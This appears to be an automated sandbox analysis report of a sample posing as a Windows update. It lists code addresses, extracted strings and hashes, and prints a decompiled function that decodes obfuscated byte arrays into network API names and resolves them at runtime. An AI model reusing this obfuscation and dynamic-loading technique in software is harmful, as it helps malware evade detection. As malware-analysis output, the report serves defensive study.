0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x00000000
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x00000000
0x0040adef
0x0040ae49
0x0040ae3d
0x0040ae3d
0x00000000
0x0040ae3d
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x00000000
0x0040ae5b
0x00408cde
0x00408ce3
0x00408ced
0x00408cf1
0x00408cf6
0x00408cfb
0x00000000
0x00000000
0x00408d01
0x00408d06
0x00408d0b
0x00000000
0x00000000
0x00408d0d
0x00408d11
0x0040ae1d
0x00000000
0x00000000
0x0040ae2b
0x0040ae34
0x0040ae35
0x0040ae3a
0x0040ae3a
0x00000000
0x0040ae2b
0x00408d1f
0x00408d1f
0x00408d29
0x00408d32
0x00408d35
0x00408d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00408c94
0x00408c94
0x00408c94
0x00408c98
0x00408c9f
0x00408caa
0x00408cbb
0x00408cc4
0x00000000
0x00000000
0x00408cc4
0x00408cc6
0x00408cc7
0x00000000
0x00408c94
0x00408c7a
0x00408c81
0x00000000
0x00408c81
0x00408c13
0x00408c13
0x00000000
0x00408c13
0x00408bfa
0x00000000

Strings

8, xrefs: 0040991F
2, xrefs: 0040A3DA
N, xrefs: 004093FA
Z, xrefs: 00409D00
P, xrefs: 0040A766
d, xrefs: 0040A96F
V, xrefs: 00409F66
9, xrefs: 004092A1
n, xrefs: 00408EE3
6, xrefs: 00409A5B
?, xrefs: 00408F13
}, xrefs: 00409485
U, xrefs: 00408DEE
", xrefs: 0040AA3D
{, xrefs: 0040AA4F
(, xrefs: 00408F8C
., xrefs: 00409CCB
E, xrefs: 0040A03F
c, xrefs: 0040A98F
d, xrefs: 0040A160
*, xrefs: 00409B03
O, xrefs: 00409F6E
[, xrefs: 0040A1F2
Z, xrefs: 00408E76
q, xrefs: 00409BAD
>, xrefs: 0040981D
E, xrefs: 00408DD6
<, xrefs: 00409A73
Z, xrefs: 0040AA1E
p, xrefs: 004093EA
I, xrefs: 0040990F
I, xrefs: 00409A8B
4, xrefs: 00409D95
%, xrefs: 004090C5
, xrefs: 0040A4FD
N, xrefs: 0040906F
3, xrefs: 00409986
), xrefs: 0040980D
>, xrefs: 00409134
', xrefs: 0040A844
:, xrefs: 0040A80C
., xrefs: 00409FA0
E, xrefs: 00409CAA
K, xrefs: 00409C05
5, xrefs: 00409C8B
*, xrefs: 0040A5A5
<, xrefs: 00409739
s, xrefs: 0040A804
u, xrefs: 0040A880
l, xrefs: 0040A987
\, xrefs: 0040A03A
G, xrefs: 0040997E
$, xrefs: 00409AD2
g, xrefs: 004096A6
K, xrefs: 00409F8E
1, xrefs: 00409BED
F, xrefs: 00409048
=, xrefs: 00409CE3
$, xrefs: 0040913C
K, xrefs: 00409EA7
K, xrefs: 00409A4B
7, xrefs: 0040A5C5
;, xrefs: 0040A62E
), xrefs: 0040A8BB
5, xrefs: 0040961C
2, xrefs: 00408F0B
!, xrefs: 0040A565
=, xrefs: 0040920D
n, xrefs: 00409D85
E, xrefs: 004091E5
C, xrefs: 00409F76
L, xrefs: 0040AA35
W, xrefs: 00409050
7, xrefs: 00409C15
_, xrefs: 00409B95
\, xrefs: 0040931E
g, xrefs: 0040A0A9
}, xrefs: 0040A34F
Z, xrefs: 00409E9F
!, xrefs: 004091CD
x, xrefs: 00408DE6
I, xrefs: 0040A834
&, xrefs: 0040A32F
^, xrefs: 0040A595
h, xrefs: 0040A69E
s, xrefs: 00409030
y, xrefs: 004091ED
T, xrefs: 00409D6A
5, xrefs: 0040A646
[, xrefs: 00409E97
_, xrefs: 0040A814
9, xrefs: 0040A1D2
o, xrefs: 004098E6
), xrefs: 00409D7D
%, xrefs: 00409A43
}, xrefs: 0040A505
e, xrefs: 00409AFB
p, xrefs: 0040A3C2
t, xrefs: 0040A858
_, xrefs: 00409AAB
", xrefs: 0040A047
4, xrefs: 00409CDB
T, xrefs: 0040A7DC
9, xrefs: 0040A057
&, xrefs: 004095A9
H, xrefs: 0040A0A1
d, xrefs: 0040A868
:, xrefs: 0040A3E2
#, xrefs: 0040A626
J, xrefs: 004096B6
l, xrefs: 0040998E
n, xrefs: 004090CD
P, xrefs: 0040A64E
E, xrefs: 0040AA59
f, xrefs: 0040999E
@, xrefs: 0040A030
I, xrefs: 0040A58D
-, xrefs: 00409706
i, xrefs: 004096CE
D, xrefs: 0040A7E4
s, xrefs: 0040901F
+, xrefs: 0040A83C
', xrefs: 004093E2
i, xrefs: 00409E0D
j, xrefs: 00409624
`, xrefs: 0040A68E
4, xrefs: 0040AA23
O, xrefs: 0040A5D5
d, xrefs: 0040A878
u, xrefs: 004090D5
V, xrefs: 0040A75E
J, xrefs: 0040AA4A
4, xrefs: 00409465
;, xrefs: 00409CC3
{, xrefs: 0040A170
t, xrefs: 00409E87
q, xrefs: 00409AF3
j, xrefs: 0040A0B1
3, xrefs: 00409CD3
#, xrefs: 00409E1D
/, xrefs: 004098DE
b, xrefs: 00408D5B
H, xrefs: 004091DD
B, xrefs: 00409F86
?, xrefs: 0040A555
z, xrefs: 00408DDE
., xrefs: 00409F96
r, xrefs: 0040A860
o, xrefs: 004098F0
}, xrefs: 0040939E
H, xrefs: 00408F9C
$, xrefs: 0040A7EC
;, xrefs: 0040A5BD
a, xrefs: 004095A1
_, xrefs: 00409475
/, xrefs: 00408D53
F, xrefs: 0040A63E
a, xrefs: 004090DD
o, xrefs: 0040A870
&, xrefs: 0040A51D
-, xrefs: 0040A33F
_, xrefs: 0040A61E
E, xrefs: 0040A236
[, xrefs: 004099BE
L, xrefs: 0040A04F
], xrefs: 0040A97F
^, xrefs: 00409F7E
Z, xrefs: 00409CEB
c, xrefs: 00409591
-, xrefs: 0040992F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$%$&$&$&$'$'$($)$)$)$*$*$+$-$-$-$.$.$.$/$/$1$2$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$?$@$B$C$D$E$E$E$E$E$E$F$F$G$H$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$N$O$O$P$P$T$T$U$V$V$W$Z$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$a$b$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$n$n$o$o$o$p$p$q$q$r$s$s$s$t$t$u$u$x$y$z${${$}$}$}$}
API String ID: 0-319044234
Opcode ID: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
Instruction ID: 112317c9313a74c9b12a8399abeb6d4382841cb44c361794d62521e76ea744b4
Opcode Fuzzy Hash: fcd362075771919aa209d5a175f4e19b3383066e46c272e99d7fa23161f6263d
Instruction Fuzzy Hash: 1513B12000C7C29AD332C63898587DFBED55BA7328F588BADD1ED4A2D2D775020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0041D159, Relevance: 233.4, APIs: 17, Strings: 116, Instructions: 622
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0041D159(void* __eax, void* __ebx, char _a16, char _a17, char _a18, char _a19, char _a20, char _a21, char _a22, char _a23, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a31, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a40, char _a41, char _a42, char _a43, char _a44, char _a45, char _a46, char _a47, char _a48, char _a49, char _a50, char _a51, char _a52, char _a53, char _a56, char _a57, char _a58, char _a59, char _a60, char _a61, char _a62, char _a63, char _a64, char _a65, char _a66, char _a67, char _a68, char _a69, char _a70, char _a71, char _a72, char _a73, char _a76, char _a77, char _a78, char _a79, char _a80, char _a81, char _a82, char _a83, char _a84, char _a85, char _a86, char _a87, char _a88, char _a89, char _a90, char _a91, char _a92, char _a93, char _a96, char _a97, char _a98, char _a99, char _a100, char _a101, char _a102, char _a103, char _a104, char _a105, char _a106, char _a108, char _a109, char _a110, char _a111, char _a112, char _a113, char _a114, char _a115, char _a116, char _a117, char _a118, char _a119, char _a120, char _a121, char _a122, char _a123, char _a124, char _a125, char _a126, char _a127, char _a128, char _a129, char _a130, char _a131, char _a132, char _a133, char _a134, char _a135, char _a136, char _a137, char _a138, char _a139, char _a140, char _a141, char _a142, char _a143, char _a144, char _a145, char _a146, char _a147, char _a148, char _a149, char _a150, char _a152, char _a153, char _a154, char _a155, char _a156, char _a157, char _a158, char _a159, char _a160, char _a161, char _a164, char _a165, char _a166, char _a167, char _a168, char _a169, char _a170, char _a171, char _a172, char _a173, char _a174, char _a176, char _a177, char _a178, char _a179, char _a180, char _a181, char _a182, char _a183, char _a184, char _a185, char _a186, char _a187, char _a188, char _a189, char _a190, char _a191, char _a192, char _a193, char _a194, char _a195, char _a196, char _a197, char _a198, char _a199, char _a200, char _a201, char _a204, char _a205, char _a206, char _a207, char _a208, char _a209, char _a210, char _a211, char _a212, char _a213, char _a216, char _a217, char _a218, char _a219, char _a220, char _a221, char _a222, char _a223, char _a224, char _a225, char _a226, char _a227, char _a228, char _a229, char _a230, char _a231, char _a232, char _a233, char _a234, char _a235, char _a236, char _a304, char _a305, char _a306, char _a307, char _a308, char _a309, char _a310, char _a311, char _a312, char _a313, char _a314, char _a315, char _a316, char _a317, char _a318, char _a319, CHAR* _a336) {
				struct HINSTANCE__* __edi;

				do {
					 *(__esp +  &(__eax[0xec])) =  *(__esp +  &(__eax[0xec])) ^  *(__esp +  &(__eax[0x10]));
					 *(__esp +  &(__eax[0xed])) =  *(__esp +  &(__eax[0xed])) ^  *(__esp +  &(__eax[0x11]));
					 *(__esp +  &(__eax[0xee])) =  *(__esp +  &(__eax[0xee])) ^  *(__esp +  &(__eax[0x12]));
					__eax =  &(__eax[3]);
				} while (__eax < 0x15);
				__edx =  &_a236;
				__eax = GetProcAddress(__edi,  &_a236);
				 *0x431ee4 = __eax;
				if(__eax == 0) {
					L1:
					return E00424873(0, _a336);
				} else {
					__eax =  &_a216;
					_push(0xe);
					_push( &_a216);
					__eax =  &_a16;
					_a216 = 0x23;
					_a217 = 0x93;
					_a218 = 0x35;
					_a219 = 0xe2;
					_a220 = 0x14;
					_a221 = 0xc4;
					_a222 = 0xca;
					_a223 = 0x89;
					_a224 = 0x5f;
					_a225 = 0xd1;
					_a226 = 0x4b;
					_a227 = 0x12;
					_a228 = 0x74;
					_a229 = 6;
					_a16 = 6;
					_a17 = 0;
					_a18 = 0x7c;
					_a19 = 0x2e;
					_a20 = 0xa7;
					_a21 = 0x1a;
					_a22 = 0xec;
					_a23 = 0xb9;
					_a24 = 0xab;
					_a25 = 0x78;
					_a26 = 0xa1;
					_a27 = 0x74;
					_a28 = 0xc0;
					_a29 = 0x74;
					__eax = E0041C580( &_a16);
					__esp = __esp + 8;
					__eax = GetProcAddress(__edi, __eax);
					 *0x431ee8 = __eax;
					if(__eax == 0) {
						goto L1;
					} else {
						__ecx =  &_a304;
						_a304 = 0x57;
						_a305 = 0x53;
						_a306 = 0x41;
						_a307 = 0x52;
						_a308 = 0x65;
						_a309 = 0x63;
						_a310 = 0x76;
						_a311 = 0;
						__eax = GetProcAddress(__edi, __ecx);
						 *0x431eec = __eax;
						if(__eax == 0) {
							goto L1;
						} else {
							__edx =  &_a312;
							_a312 = 0x57;
							_a313 = 0x53;
							_a314 = 0x41;
							_a315 = 0x53;
							_a316 = 0x65;
							_a317 = 0x6e;
							_a318 = 0x64;
							_a319 = 0;
							__eax = GetProcAddress(__edi,  &_a312);
							 *0x431ef0 = __eax;
							if(__eax == 0) {
								goto L1;
							} else {
								_a189 = __bl;
								__bl = 0x2d;
								_a176 = 0x6b;
								_a177 = 0x54;
								_a178 = 0x51;
								_a179 = 0xe0;
								_a180 = 0xe1;
								_a181 = 0x4a;
								_a182 = 0x93;
								_a183 = 0x9e;
								_a184 = 0x41;
								_a185 = 0x69;
								_a186 = 0xf9;
								_a187 = 0xc8;
								_a188 = 0x34;
								_a190 = 0xf0;
								_a191 = 0x34;
								_a192 = 0x34;
								_a193 = 0xbc;
								_a194 = 0x28;
								_a195 = 0xac;
								_a196 = 0xd;
								_a197 = 0x2d;
								_a198 = 0xa6;
								_a16 = 0x3c;
								_a17 = 7;
								_a18 = 0x10;
								_a19 = 0xa7;
								_a20 = 0x84;
								_a21 = 0x3e;
								_a22 = 0xdc;
								_a23 = 0xe8;
								_a24 = 0x24;
								_a25 = 0x1b;
								_a26 = 0x95;
								_a27 = 0xa9;
								_a28 = 0x44;
								_a29 = 0xe0;
								_a30 = 0x95;
								_a31 = 0x50;
								_a32 = 0x66;
								_a33 = 0xd9;
								_a34 = 0x5b;
								_a35 = 0xd9;
								_a36 = 0x61;
								_a37 = 0x59;
								_a38 = 0xa6;
								__eax = 0;
								do {
									 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^  *(__esp +  &(__eax[0x10]));
									__eax =  &(__eax[1]);
								} while (__eax < 0x17);
								__edx =  &_a176;
								__eax = GetProcAddress(__edi,  &_a176);
								 *0x431ef4 = __eax;
								if(__eax == 0) {
									goto L1;
								} else {
									__eax =  &_a108;
									__ecx =  &_a40;
									__edx = 0xc;
									_a108 = 0x53;
									_a109 = 0x8b;
									_a110 = 0xbe;
									_a111 = 0xec;
									_a112 = 0xbe;
									_a113 = 0x6c;
									_a114 = 0x99;
									_a115 = 0x48;
									_a116 = 0x4e;
									_a117 = 0x30;
									_a118 = 0x6a;
									_a119 = 0xa4;
									_a40 = 0x21;
									_a41 = 0x76;
									_a42 = 0x1f;
									_a43 = 0x71;
									_a44 = 0x18;
									_a45 = 0x76;
									_a46 = 0x13;
									_a47 = 0x67;
									_a48 = 0x49;
									_a49 = 0x2d;
									_a50 = 0x41;
									_a51 = 0x2d;
									__eax = E0041C4C0( &_a40, 0xc,  &_a108);
									__edi = __eax;
									__eax = 0;
									if(__edi == 0) {
										L34:
										__ecx = _a336;
										_pop(__edi);
										__eax = E00424873(__eax, _a336);
										__esp = __esp + 0x144;
										return __eax;
									} else {
										_a176 = 0xd3;
										_a177 = 0xf4;
										_a178 = 0xee;
										_a179 = 0xff;
										_a180 = 0xe8;
										_a181 = 0xf4;
										_a182 = 0xff;
										_a183 = 0xee;
										_a184 = 0xdd;
										_a185 = 0xff;
										_a186 = 0xee;
										_a187 = 0xd9;
										_a188 = 0xf5;
										_a189 = 0xf4;
										_a190 = 0xf4;
										_a191 = 0xff;
										_a192 = 0xf9;
										_a193 = 0xee;
										_a194 = 0xff;
										_a195 = 0xfe;
										_a196 = 0xc9;
										_a197 = 0xee;
										_a198 = 0xfb;
										_a199 = 0xee;
										_a200 = 0xff;
										_a201 = 0x9a;
										do {
											 *(__esp +  &(__eax[0xb0])) =  *(__esp +  &(__eax[0xb0])) ^ 0x0000009a;
											__eax =  &(__eax[1]);
										} while (__eax < 0x1a);
										__ecx =  &_a176;
										__eax = GetProcAddress(__edi, __ecx);
										 *0x431ef8 = __eax;
										if(__eax == 0) {
											goto L1;
										} else {
											_a40 = 0xec;
											_a41 = 0xcb;
											_a42 = 0xd1;
											_a43 = 0xc0;
											_a44 = 0xd7;
											_a45 = 0xcb;
											_a46 = 0xc0;
											_a47 = 0xd1;
											_a48 = 0xea;
											_a49 = 0xd5;
											_a50 = 0xc0;
											_a51 = 0xcb;
											_a52 = 0xe4;
											_a53 = 0xa5;
											__eax = 0;
											do {
												 *(__esp +  &(__eax[0x28])) =  *(__esp +  &(__eax[0x28])) ^ 0x000000a5;
												__eax =  &(__eax[1]);
											} while (__eax < 0xe);
											__edx =  &_a40;
											__eax = GetProcAddress(__edi,  &_a40);
											 *0x431efc = __eax;
											if(__eax == 0) {
												goto L1;
											} else {
												_a56 = 0xa3;
												_a57 = 0x84;
												_a58 = 0x9e;
												_a59 = 0x8f;
												_a60 = 0x98;
												_a61 = 0x84;
												_a62 = 0x8f;
												_a63 = 0x9e;
												_a64 = 0xa5;
												_a65 = 0x9a;
												_a66 = 0x8f;
												_a67 = 0x84;
												_a68 = 0xbf;
												_a69 = 0x98;
												_a70 = 0x86;
												_a71 = 0xab;
												_a72 = 0xea;
												__eax = 0;
												do {
													 *(__esp +  &(__eax[0x38])) =  *(__esp +  &(__eax[0x38])) ^ 0x000000ea;
													__eax =  &(__eax[1]);
												} while (__eax < 0x11);
												__eax =  &_a56;
												__eax = GetProcAddress(__edi,  &_a56);
												 *0x431f00 = __eax;
												if(__eax == 0) {
													goto L1;
												} else {
													__bl = 0x9f;
													_a76 = 0x88;
													_a77 = 0x43;
													_a78 = 0xfc;
													_a79 = 0x99;
													_a80 = 0xa6;
													_a81 = 0x58;
													_a82 = 0x6a;
													_a83 = 0xe2;
													_a84 = 0xbe;
													_a85 = 0x9f;
													_a86 = 0x20;
													_a87 = 0xed;
													_a88 = 0x35;
													_a89 = 0xb4;
													_a90 = 0x34;
													_a91 = 0xfa;
													_a92 = 0xe7;
													_a120 = 0xc1;
													_a121 = 0x2b;
													_a122 = 0x78;
													_a123 = 0xcc;
													_a124 = 0xcc;
													_a125 = 0x16;
													_a126 = 0xfb;
													_a127 = 0x92;
													_a128 = 0x94;
													_a129 = 0xc6;
													_a130 = 0x41;
													_a131 = 0x77;
													_a132 = 0x11;
													_a133 = 0xb5;
													_a134 = 0x38;
													_a135 = 0x6b;
													_a136 = 0x19;
													__eax = 0;
													do {
														 *((char*)(__esp +  &(__eax[0x4c]))) =  *((intOrPtr*)(__esp +  &(__eax[0x4c]))) +  *((intOrPtr*)(__esp +  &(__eax[0x78])));
														__eax =  &(__eax[1]);
													} while (__eax < 0x11);
													__edx =  &_a76;
													__eax = GetProcAddress(__edi,  &_a76);
													 *0x431f04 = __eax;
													if(__eax == 0) {
														goto L1;
													} else {
														_a220 = 0x56;
														_a130 = 0x56;
														__eax =  &_a216;
														__ecx =  &_a120;
														__edx = 0x14;
														_a216 = 6;
														_a217 = 0x36;
														_a218 = 0xb9;
														_a219 = 0x60;
														_a221 = 1;
														_a222 = 0x32;
														_a223 = 0x3e;
														_a224 = 0xcb;
														_a225 = 0x26;
														_a226 = 0xf;
														_a227 = 0xa5;
														_a228 = 1;
														_a229 = 0xa3;
														_a230 = 0x3c;
														_a231 = 0xd2;
														_a232 = 0x72;
														_a233 = 0x9f;
														_a234 = 0x9a;
														_a235 = 0xed;
														_a120 = 0x42;
														_a121 = 0xb;
														_a122 = 0x65;
														_a123 = 0x11;
														_a124 = 0x74;
														_a125 = 6;
														_a126 = 0x68;
														_a127 = 0xd;
														_a128 = 0x79;
														_a129 = 0x3a;
														_a131 = 0x39;
														_a132 = 0x4a;
														_a133 = 0x2f;
														_a134 = 0x67;
														_a135 = 6;
														_a136 = 0x68;
														_a137 = 0xc;
														_a138 = 0x60;
														_a139 = 5;
														__eax = E0041C4C0(__ecx, 0x14,  &_a216);
														__eax = GetProcAddress(__edi, __eax);
														 *0x431f08 = __eax;
														if(__eax == 0) {
															goto L1;
														} else {
															_a96 = 0x40;
															_a97 = 0xec;
															_a98 = 0xfc;
															_a99 = 0xa;
															_a100 = 0xe1;
															_a101 = 0x80;
															_a102 = 0x93;
															_a103 = 0xb7;
															_a104 = 0xf4;
															_a105 = 0xba;
															_a106 = 0xb0;
															_a40 = 0x24;
															_a41 = 0x82;
															_a42 = 0x77;
															_a43 = 0x57;
															_a44 = 0x8f;
															_a45 = 0xe9;
															_a46 = 0x9b;
															_a47 = 0xad;
															_a48 = 0x78;
															_a49 = 0xb2;
															_a50 = 0x50;
															__eax = 0;
															do {
																 *((intOrPtr*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
																 *((char*)(__esp +  &(__eax[0x60]))) =  *((intOrPtr*)(__esp +  &(__eax[0x60]))) +  *(__esp +  &(__eax[0x28]));
																__eax =  &(__eax[1]);
															} while (__eax < 0xb);
															__edx =  &_a96;
															__edi = LoadLibraryA( &_a96);
															__eax = 0;
															if(__edi == 0) {
																goto L34;
															} else {
																_a140 = 0xce;
																_a141 = 0xe4;
																_a142 = 0xf9;
																_a143 = 0xdb;
																_a144 = 0xff;
																_a145 = 0xef;
																_a146 = 0xf8;
																_a147 = 0xf3;
																_a148 = 0xd5;
																_a149 = 0xcb;
																_a150 = 0x8a;
																do {
																	 *(__esp +  &(__eax[0x8c])) =  *(__esp +  &(__eax[0x8c])) ^ 0x0000008a;
																	__eax =  &(__eax[1]);
																} while (__eax < 0xb);
																__eax =  &_a140;
																__eax = GetProcAddress(__edi,  &_a140);
																 *0x431f0c = __eax;
																if(__eax == 0) {
																	goto L1;
																} else {
																	__ecx =  &_a56;
																	_push(0x12);
																	__bl = 0xde;
																	_push( &_a56);
																	__eax =  &_a76;
																	_a56 = 0x2b;
																	_a57 = 0x7e;
																	_a58 = 0x14;
																	_a59 = 0xc5;
																	_a60 = 0x31;
																	_a61 = 0x22;
																	_a62 = 0x49;
																	_a63 = 0xdc;
																	_a64 = 0xd8;
																	_a65 = 0x8b;
																	_a66 = 0xed;
																	_a67 = 0x54;
																	_a68 = 0xbb;
																	_a69 = 0xba;
																	_a70 = 0x48;
																	_a71 = 0xbb;
																	_a72 = 0xa1;
																	_a73 = 0x26;
																	_a76 = 0x26;
																	_a77 = 0xc4;
																	_a78 = 0xde;
																	_a79 = 0x3a;
																	_a80 = 0xfc;
																	_a81 = 0xcf;
																	_a82 = 0x27;
																	_a83 = 0x84;
																	_a84 = 0xc7;
																	_a85 = 0xbc;
																	_a86 = 0xae;
																	_a87 = 0x26;
																	_a88 = 0x41;
																	_a89 = 0x54;
																	_a90 = 0x97;
																	_a91 = 0x67;
																	_a92 = 0x10;
																	_a93 = 0x6f;
																	__eax = E0041C580( &_a76);
																	__esp = __esp + 8;
																	__eax = GetProcAddress(__edi, __eax);
																	 *0x431f10 = __eax;
																	if(__eax == 0) {
																		goto L1;
																	} else {
																		__edx =  &_a40;
																		__ecx =  &_a164;
																		__edx = 0xb;
																		_a40 = 0x6d;
																		_a41 = 0x96;
																		_a42 = 0x80;
																		_a43 = 6;
																		_a44 = 0xa9;
																		_a45 = 0x60;
																		_a46 = 0x53;
																		_a47 = 0xb;
																		_a48 = 0xec;
																		_a49 = 0xb1;
																		_a50 = 0xd3;
																		_a164 = 0xc8;
																		_a165 = 0x9d;
																		_a166 = 0xee;
																		_a167 = 0x8b;
																		_a168 = 0xf9;
																		_a169 = 0xca;
																		_a170 = 0xf8;
																		_a171 = 0xd6;
																		_a172 = 0x92;
																		_a173 = 0xde;
																		_a174 = 0x92;
																		__eax = E0041C4C0(__ecx, 0xb,  &_a40);
																		__eax = LoadLibraryA(__eax);
																		__edi = __eax;
																		if(__edi == 0) {
																			goto L1;
																		} else {
																			__eax =  &_a152;
																			_push(0xa);
																			_push( &_a152);
																			__eax =  &_a204;
																			_a152 = 0x37;
																			_a153 = 0x3b;
																			_a154 = 0x8f;
																			_a155 = 0x69;
																			_a156 = 0x24;
																			_a157 = 0x7f;
																			_a158 = 0x60;
																			_a159 = 0xe9;
																			_a160 = 0xec;
																			_a161 = 0x4c;
																			_a204 = 0x4c;
																			_a205 = 0xad;
																			_a206 = 0x8f;
																			_a207 = 0x14;
																			_a208 = 0x11;
																			_a209 = 0x4d;
																			_a210 = 0x1b;
																			_a211 = 0xff;
																			_a212 = 0x48;
																			_a213 = 0x40;
																			__eax = E0041C580( &_a204);
																			__esp = __esp + 8;
																			__eax = GetProcAddress(__edi, __eax);
																			 *0x431f14 = __eax;
																			if(__eax == 0) {
																				goto L1;
																			} else {
																				__ecx =  &_a56;
																				__ecx =  &_a76;
																				__edx = 0x12;
																				_a56 = 0x75;
																				_a57 = 6;
																				_a58 = 0xcc;
																				_a59 = 0x8b;
																				_a60 = 0x4c;
																				_a61 = 0xb8;
																				_a62 = 0x36;
																				_a63 = 0x4d;
																				_a64 = 0x1e;
																				_a65 = 0x53;
																				_a66 = 0xb7;
																				_a67 = 0x58;
																				_a68 = 0xd4;
																				_a69 = 0xa5;
																				_a70 = 0xf1;
																				_a71 = 0xd3;
																				_a72 = 0x12;
																				_a73 = 0x39;
																				_a76 = 0x4a;
																				_a77 = 0x19;
																				_a78 = 0x7c;
																				_a79 = 8;
																				_a80 = 0x5f;
																				_a81 = 0x36;
																				_a82 = 0x58;
																				_a83 = 0x3c;
																				_a84 = 0x53;
																				_a85 = 0x24;
																				_a86 = 0x57;
																				_a87 = 0x1f;
																				_a88 = 0x70;
																				_a89 = 0x1f;
																				_a90 = 0x74;
																				_a91 = 0x31;
																				_a92 = 0x49;
																				_a93 = 8;
																				__eax = E0041C4C0( &_a76, 0x12,  &_a56);
																				__eax = GetProcAddress(__edi, __eax);
																				__edx = 0;
																				_t471 = __eax != 0;
																				__edx = 0 | _t471;
																				 *0x431f18 = __eax;
																				__eax = _t471;
																				goto L34;
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041d160
0x0041d174
0x0041d188
0x0041d195
0x0041d19c
0x0041d19f
0x0041d1a4
0x0041d1ad
0x0041d1b1
0x0041d1b6
0x0041c80f
0x0041c827
0x0041d1bc
0x0041d1bc
0x0041d1c3
0x0041d1c5
0x0041d1c6
0x0041d1ca
0x0041d1d2
0x0041d1da
0x0041d1e2
0x0041d1ea
0x0041d1f2
0x0041d1fa
0x0041d202
0x0041d20a
0x0041d212
0x0041d21a
0x0041d222
0x0041d22a
0x0041d232
0x0041d23a
0x0041d23f
0x0041d244
0x0041d249
0x0041d24e
0x0041d253
0x0041d258
0x0041d25d
0x0041d262
0x0041d267
0x0041d26c
0x0041d271
0x0041d276
0x0041d27b
0x0041d280
0x0041d285
0x0041d28a
0x0041d28e
0x0041d293
0x00000000
0x0041d299
0x0041d299
0x0041d2a2
0x0041d2aa
0x0041d2b2
0x0041d2ba
0x0041d2c2
0x0041d2ca
0x0041d2d2
0x0041d2da
0x0041d2e2
0x0041d2e6
0x0041d2eb
0x00000000
0x0041d2f1
0x0041d2f1
0x0041d2fa
0x0041d302
0x0041d30a
0x0041d312
0x0041d31a
0x0041d322
0x0041d32a
0x0041d332
0x0041d33a
0x0041d33e
0x0041d343
0x00000000
0x0041d349
0x0041d349
0x0041d350
0x0041d352
0x0041d35a
0x0041d362
0x0041d36a
0x0041d372
0x0041d37a
0x0041d382
0x0041d38a
0x0041d392
0x0041d39a
0x0041d3a2
0x0041d3aa
0x0041d3b2
0x0041d3ba
0x0041d3c2
0x0041d3ca
0x0041d3d2
0x0041d3da
0x0041d3e2
0x0041d3ea
0x0041d3f2
0x0041d3f9
0x0041d401
0x0041d406
0x0041d40b
0x0041d410
0x0041d415
0x0041d41a
0x0041d41f
0x0041d424
0x0041d429
0x0041d42e
0x0041d433
0x0041d438
0x0041d43d
0x0041d442
0x0041d447
0x0041d44c
0x0041d451
0x0041d456
0x0041d45b
0x0041d460
0x0041d465
0x0041d46a
0x0041d46f
0x0041d474
0x0041d480
0x0041d48d
0x0041d494
0x0041d495
0x0041d49a
0x0041d4a3
0x0041d4a7
0x0041d4ac
0x00000000
0x0041d4b2
0x0041d4b2
0x0041d4b7
0x0041d4bb
0x0041d4c0
0x0041d4c5
0x0041d4ca
0x0041d4cf
0x0041d4d4
0x0041d4d9
0x0041d4de
0x0041d4e3
0x0041d4e8
0x0041d4ed
0x0041d4f2
0x0041d4f7
0x0041d4fc
0x0041d501
0x0041d506
0x0041d50b
0x0041d510
0x0041d515
0x0041d51a
0x0041d51f
0x0041d524
0x0041d529
0x0041d52d
0x0041d532
0x0041d536
0x0041d541
0x0041d543
0x0041d547
0x0041ddc9
0x0041ddc9
0x0041ddd1
0x0041ddd4
0x0041ddd9
0x0041dddf
0x0041d54d
